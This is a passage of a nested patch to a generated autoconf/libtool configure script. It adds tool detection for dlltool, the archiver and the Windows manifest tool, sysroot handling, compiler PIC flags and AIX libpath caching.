++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5686,8 +5938,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -5703,7 +5957,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5723,11 +5977,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -5743,7 +6001,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -5762,6 +6020,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -5773,25 +6035,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -5803,6 +6059,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -6142,8 +6456,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6179,6 +6493,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6220,6 +6535,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6231,7 +6558,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6257,8 +6584,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6268,8 +6595,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6306,6 +6633,18 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
+
+
+
+@@ -6322,6 +6661,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6533,6 +6909,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7096,6 +7589,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7680,8 +8175,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7847,6 +8340,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -7909,7 +8408,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -7966,13 +8465,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8033,6 +8536,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8383,7 +8891,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8482,12 +8991,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8501,8 +9010,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8520,8 +9029,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8567,8 +9076,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8698,7 +9207,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8711,22 +9226,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8738,7 +9260,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
